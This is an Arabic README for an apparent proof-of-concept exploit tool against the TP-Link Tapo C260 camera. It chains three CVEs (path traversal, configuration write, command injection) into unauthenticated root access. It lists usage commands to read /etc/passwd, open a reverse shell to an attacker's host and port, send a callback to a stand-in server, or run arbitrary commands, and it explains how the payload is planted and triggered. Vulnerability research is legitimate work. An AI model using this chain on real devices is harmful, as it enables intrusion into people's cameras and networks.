
سلسلة استغلال PoC لكاميرا TP-Link Tapo C260 — CVE-2026-0651/0652/0653. بحث من @spaceraccoon.
إثبات مفهوم لسلسلة استغلال كاميرا TP-Link Tapo C260 لتحقيق وصول جذري بدون مصادقة (unauthenticated-to-root RCE) من خلال ربط ثلاث ثغرات اكتشفها Eugene Lim (Spaceraccoon).
جميع أبحاث واكتشاف الثغرات من قِبل Eugene Lim (@spaceraccoon).
هذا المستودع هو تنفيذ لإثبات المفهوم بناءً على مقالته العامة. إذا وجدت هذا مفيدًا، فاشترِ كتابه: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | النوع | التأثير |
|---|---|---|
| CVE-2026-0651 | اجتياز المسار / كشف الملفات المحلية | قراءة ملفات عشوائية عبر /%2e%2e%2f في معالج طلبات HTTP GET |
| CVE-2026-0652 | كتابة إعدادات عشوائية | يمكن لمستخدمي مستوى الضيف الكتابة إلى أي مسار إعدادات عبر التلاعب بمفاتيح JSON في واجهة برمجة تطبيقات السحابة |
| CVE-2026-0653 | حقن أوامر / تصعيد صلاحيات | set_region_code_handle يمرر قيمة إعداد dev_name غير مُنقّاة إلى popen() |
LFD (قراءة إعدادات الجهاز) --> كتابة الإعدادات (تسميم dev_name) --> تشغيل معالج رمز المنطقة --> popen() --> شل
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
قراءة ملفات عشوائية من كاميرا على الشبكة المحلية:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# شل عكسي
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# استدعاء فقط (curl ping)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# أمر مخصص
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
التسميم — يرسل طلب setLedStatus بمفاتيح JSON مُتلاعب بها تكتب حمولة أحرف شل ميتا في مسار الإعدادات tp_manage/info/dev_name على الجهاز.
التشغيل — يرسل طلب set_region_code. يقرأ المعالج dev_name من الإعدادات ويدرجه في استدعاء popen() دون تنقية، مما ينفذ الأمر المُحقن.
الشل — يتلقى المهاجم استدعاءً أو شلًا عكسيًا.
/bin/mainهذه الأداة مقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن سوء الاستخدام. احصل دائمًا على إذن صريح قبل الاختبار ضد أي جهاز لا تملكه.